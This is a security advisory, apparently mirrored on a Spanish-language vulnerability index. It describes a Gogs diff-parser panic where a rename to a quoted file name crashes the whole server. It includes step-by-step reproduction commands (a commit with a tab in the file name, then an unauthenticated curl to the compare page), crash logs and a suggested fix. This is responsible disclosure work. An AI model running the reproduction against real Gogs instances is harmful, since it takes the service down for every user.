GHSA-P27C-F9FR-4JMW
Remote process crash in Gogs diff rendering via a quoted rename path
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-P27C-F9FR-4JMW divulgada · CVSS 7.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Gogs builds compare and pull request diffs by running `git diff` and passing the output to the diff parser in `github.com/gogs/git-module` v1.8.9. For a rename where the old path is unquoted and the new path is C-quoted, Git produces a header such as:
diff --git a/old.txt "b/new\tname.txt"The parser assumes an unquoted header contains the byte sequence ` b/`. This header contains ` "b/` instead. `strings.Index` returns -1 and the next slice operation panics with `slice bounds out of range [:-1]`.
`Repository.Diff` runs the parser in a goroutine started with `go StreamParseDiff` and does not recover the panic. The panic therefore terminates the entire Gogs process. The HTTP server's handler recovery does not cover this child goroutine.
A user who can create a repository, push a commit, or fork a public repository and open a compare or pull request page can produce the commit and load the page. A public repository compare page can also be viewed without signing in. In an isolated Docker lab, the request returned no HTTP response and the container exited with status 2. The crash is repeatable. No confidentiality or integrity impact was demonstrated.
Root Cause
The panic is in `parseFileHeader` in `github.com/gogs/git-module` v1.8.9, `diff.go:255-282`:
var diffHead = []byte("diff --git ")
func (p *diffParser) parseFileHeader() (*DiffFile, error) {
line := string(p.buffer)
p.buffer = nil
var middle int
hasQuote := line[len(diffHead)] == '"'
if hasQuote {
middle = strings.Index(line, ` "b/`)
} else {
middle = strings.Index(line, ` b/`)
}
beg := len(diffHead)
a := line[beg+2 : middle]
b := line[middle+3:]Git quotes each path when it contains a tab, double quote, backslash, or newline. In a rename, the two sides can differ in whether they need quoting. With `a/old.txt` and `"b/new\tname.txt"`, `hasQuote` is false because the first path starts with `a`, and the search for ` b/` does not match the header because the separator is followed by a quote. `middle` is -1 and the slice `line[beg+2:middle]` panics. The same failure occurs in the reverse case, where the first path is quoted and the second is not.
The parser does not check the result of `strings.Index`. It also indexes `line[len(diffHead)]` without checking that the line is longer than the header prefix.
Gogs reaches this code through these paths:
- `internal/gitx/diff.go:185-191` `RepoDiff` calls `repo.Diff`.
- `github.com/gogs/git-module` `repo_diff.go:31-70` runs `git diff --full-index -M <base> --end-of-options <head>` and starts `go StreamParseDiff` at line 66. The goroutine has no recovery. The request handler blocks at `repo_diff.go:75` waiting on the result channel while the child goroutine panics.
- `internal/route/repo/commit.go:141-161` `CompareDiff` calls `RepoDiff` for the `/compare/:before...:after` page.
- `internal/route/repo/pull.go:339-362` `ViewPullFiles` calls `RepoDiff` on the head repository for `/pulls/:index/files`.
- `internal/route/repo/pull.go:560-595` `PrepareCompareDiff` calls `RepoDiff` while rendering the compare and pull request page.
- The routes are registered at `cmd/gogs/internal/web/web.go:452-453`, `:514`, and `:529`. The compare and pull request routes use `ignSignIn` and `RepoAssignment`, so public repositories can be read without signing in.
Gogs sets `core.quotepath=false` globally at startup (`internal/database/repo.go:158-162`). That stops Git from quoting ordinary non-ASCII paths, but it does not affect control characters, double quotes, or backslashes. The tab in the reproduced header is still quoted under the running server, as the lab log shows.
There is no length check, no separator check, and no panic recovery around the parsing goroutine. `macaron.Recovery()` at `cmd/gogs/internal/web/web.go:759` wraps the handler chain, so it cannot recover a panic on the parser goroutine. The same parser is used by the editor diff preview through `internal/gitx/diff.go:173-182`, which also starts a goroutine without recovery.
Prerequisites
- A Gogs account that can create a repository, push a commit, or fork a public repository and open a compare or pull request page. Repository creation and forking are enabled by default. Self-registration may be disabled, in which case an existing account is needed.
- A repository the attacker can write to, or a public base repository that accepts pull requests and a fork owned by the attacker.
- A commit that renames a file to a name containing a tab, double quote, backslash, or newline. Creating this commit requires write access to some repository or a fork.
- No victim interaction. The attacker loads the compare or pull request page and the server crashes while building the response.
- The crash request itself can be unauthenticated. Once a public repository contains the rename commit, any visitor can request the compare page without signing in.
- No special configuration. The behavior occurs with the default Git settings used by Gogs.
Steps to Reproduce
All steps below were run in Docker on an isolated `--network none` network with a disposable data directory. The image was built from the target commit.
- Build the image from the source at commit `43017045492c85e201536bfc7af49fa9f74b0069`:
```sh
docker build -f Dockerfile.next -t gogs-lab:4301704 .
```
- Create `/data/gogs/conf/app.ini` with a working SQLite configuration:
```ini
RUN_USER = git
RUN_MODE = prod
[server]
EXTERNAL_URL = http://localhost:3000/
DISABLE_SSH = true
APP_DATA_PATH = /data/gogs/data
[repository]
ROOT = /data/git/gogs-repositories
[database]
TYPE = sqlite3
PATH = /data/gogs/data/gogs.db
[security]
SECRET_KEY = lab-only-secret-key
```
- Start the server once to create the database schema, then stop it:
```sh
docker run -d --name gogs-lab --network none -v <data-dir>:/data gogs-lab:4301704
# wait for "Available on http://localhost:3000/", then
docker stop gogs-lab
```
- Create an administrator. The admin CLI does not create the legacy schema on an empty database, so it must run after step 3:
```sh
docker run --rm --network none -v <data-dir>:/data gogs-lab:4301704 \
gogs admin create-user --admin --name alice --password '<admin-password>' --email alice@example.com
```
- Start the server again and create a token and a public non-bare repository:
```sh
docker run -d --name gogs-lab --network none -v <data-dir>:/data gogs-lab:4301704
docker exec gogs-lab curl -s -u alice:'<admin-password>' \
-X POST http://localhost:3000/api/v1/users/alice/tokens \
-H 'Content-Type: application/json' -d '{"name":"lab"}'
docker exec gogs-lab curl -s \
-H 'Authorization: token <token>' -H 'Content-Type: application/json' \
-X POST http://localhost:3000/api/v1/user/repos \
-d '{"name":"demo","auto_init":true,"readme":"Default","private":false}'
```
- Clone the repository and push a rename to a quoted name. The tab is written with `printf`:
```sh
git clone http://alice:'<admin-password>'@localhost:3000/alice/demo.git
cd demo
git config user.email a@b.c
git config user.name a
printf 'x\n' > old.txt
git add old.txt
git commit -m add
parent=$(git rev-parse HEAD)
new="new$(printf '\t')name.txt"
git mv old.txt "$new"
git commit -m rename
head=$(git rev-parse HEAD)
git push origin master
```
- Request the compare view between the two commits. The repository is public, so no credentials are sent:
```sh
curl -s -m 10 -o /dev/null -w 'http=%{http_code}\n' \
"http://localhost:3000/alice/demo/compare/$parent...$head"
```
The client receives no response (`http=000`). The Gogs process exits with status 2. The log shows the panic from `parseFileHeader`.
The same commit can be placed in a fork and viewed through `/pulls/<index>/files` or the compare-and-pull-request page, which also call `RepoDiff` on the head repository.
Evidence
- `gogs-panic-clean.log`: the Gogs process log showing the panic, the `parseFileHeader` frame, the `StreamParseDiff` goroutine, and the `Repository.Diff` goroutine. The process terminates after the panic.
2026/11/11 09:16:59 [ INFO] Gogs 0.15.0+dev
2026/11/11 09:16:59 [ INFO] Run mode: Production
2026/11/11 09:17:00 [ INFO] Git config user.name set to Gogs
2026/11/11 09:17:00 [ INFO] Git config user.email set to gogs@fake.local
2026/11/11 09:17:00 [ INFO] Available on http://localhost:3000/
2026/11/11 09:17:24 [ INFO] Gogs 0.15.0+dev
2026/11/11 09:17:24 [ INFO] Run mode: Production
2026/11/11 09:17:25 [ INFO] Available on http://localhost:3000/
docker : + mkdir -p /data/gogs /data/git
At line:1 char:404
+ ... e Directory -Force $dir | Out-Null; docker logs gogs-dos 2>&1 | Out-F ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (+ mkdir -p /data/gogs /data/git:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
+ exec /app/gogs/gogs web
+ mkdir -p /data/gogs /data/git
+ exec /app/gogs/gogs web
panic: runtime error: slice bounds out of range [:-1]
goroutine 127 [running]:
github.com/gogs/git-module.(*diffParser).parseFileHeader(0x1cf7804b700)
github.com/gogs/git-module@v1.8.9/diff.go:278 +0x95e
github.com/gogs/git-module.(*diffParser).parse(0x1cf7804b700)
github.com/gogs/git-module@v1.8.9/diff.go:489 +0x3c5
github.com/gogs/git-module.StreamParseDiff({0x66020a8, 0x1cf79709ce0?}, 0x1cf78891ea0, 0x64, 0x3e8, 0x7d0)
github.com/gogs/git-module@v1.8.9/diff.go:553 +0x1d9
created by github.com/gogs/git-module.(*Repository).Diff in goroutine 182
github.com/gogs/git-module@v1.8.9/repo_diff.go:66 +0xb6f- `trigger-transcript.txt`: the parent and rename commit IDs, the compare request, the empty HTTP response, the container exit status, and the panic stack.
Isolated Docker reproduction, Gogs main @ 43017045492c85e201536bfc7af49fa9f74b0069
Setup (summary):
- Image built from the source with Dockerfile.next as gogs-lab:4301704.
- Container run with --network none and a disposable /data directory.
- SQLite database, SSH disabled, self-registration disabled.
- Admin user created with `gogs admin create-user` after the first server start created the schema.
- Public repository "alice/demo" created with auto_init=true and readme=Default.
- A commit added old.txt, then renamed it to a name containing a tab, and both commits were pushed.
Commits:
parent=a5c725f316b2ae895d2e18af4b1fc2b109b1660a
head=a6ab439d48376ad1694dc716d221f25e86dc1d1e
Request:
GET http://localhost:3000/alice/demo/compare/a5c725f316b2ae895d2e18af4b1fc2b109b1660a...a6ab439d48376ad1694dc716d221f25e86dc1d1e
Observed:
http=000 (no HTTP response; connection dropped)
Container status immediately after the request:
gogs-dos Exited (2) 2 seconds ago
Server log:
panic: runtime error: slice bounds out of range [:-1]
goroutine 127 [running]:
github.com/gogs/git-module.(*diffParser).parseFileHeader(0x1cf7804b700)
github.com/gogs/git-module@v1.8.9/diff.go:278 +0x95e
github.com/gogs/git-module.(*diffParser).parse(0x1cf7804b700)
github.com/gogs/git-module@v1.8.9/diff.go:489 +0x3c5
github.com/gogs/git-module.StreamParseDiff({0x66020a8, 0x1cf79709ce0?}, 0x1cf78891ea0, 0x64, 0x3e8, 0x7d0)
github.com/gogs/git-module@v1.8.9/diff.go:553 +0x1d9
created by github.com/gogs/git-module.(*Repository).Diff in goroutine 182
github.com/gogs/git-module@v1.8.9/repo_diff.go:66 +0xb6fImpact
Availability is the only demonstrated impact. A single HTTP request terminates the whole Gogs process on a default configuration. Every repository, user session, SSH connection, and background task on that instance is interrupted until the service is restarted. The attacker can repeat the request after a restart, so the outage can be sustained.
A low-privileged user can stop the service for all users, including administrators. An attacker who submits the rename commit through a fork and pull request can affect a public project without write access to the base repository. A public compare page can also be opened without signing in, so the crash does not require the attacker to hold a session on the target instance.
No confidentiality or integrity impact was demonstrated. The crash does not expose data or modify repository content.
Expected Result
The diff parser should accept both quoted and unquoted `diff --git` headers, locate the separator between the two paths whether or not either path is quoted, and return an error for any header it cannot parse. A malformed or unexpected diff should produce an error response, not a panic.
Even if the parser encounters an unexpected input, the goroutine that parses the diff should recover the panic and send an error to the caller. A parsing failure must not terminate the process.
Suggested Fix
In `github.com/gogs/git-module`:
- In `parseFileHeader`, check that the line is longer than `diffHead` before indexing it.
- Locate the second path separator regardless of which path is quoted. Accept both ` b/` and ` "b/`, and treat a missing separator as a parse error.
- Bound-check `middle` before slicing, and return an error instead of panicking.
- Add regression tests with a rename from an ASCII name to a name containing a tab, a double quote, a backslash, and a newline, and the reverse direction.
In Gogs:
- Pin a fixed `git-module` release when one is available.
- Add a `defer` with `recover` inside the parsing goroutine started by `ParseDiff` and inside any equivalent wrapper, and return the recovered value as an error on the result channel.
- Audit the other goroutines that parse repository data for the same failure mode.
References
- Gogs main commit: `43017045492c85e201536bfc7af49fa9f74b0069`, 2026-11-10.
- `internal/gitx/diff.go:173-191`, `ParseDiff` and `RepoDiff`.
- `internal/route/repo/commit.go:141-161`, `CompareDiff`.
- `internal/route/repo/pull.go:339-362` and `:560-595`, pull request diff paths.
- `cmd/gogs/internal/web/web.go:452-453`, `:514`, and `:529`, compare and pull request routes.
- `internal/database/repo.go:158-162`, global `core.quotepath=false` setting.
- `github.com/gogs/git-module` v1.8.9, `diff.go:255-282`, `diff.go:546-560`, and `repo_diff.go:31-70`.
- git-module repository: https://github.com/gogs/git-module
- Git diff quoting behavior: https://git-scm.com/docs/git-config#Documentation/git-config.txt-corequotePath
Additional reproduction details, lab configuration, and request transcripts can be provided to assist with independent verification.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogogs.io/gogs |
Sin parche | — | — | v0.13.3 afectada |
0.15.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/gogs/gogs/security/advisories/GHSA-p27c-f9fr-4jmwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
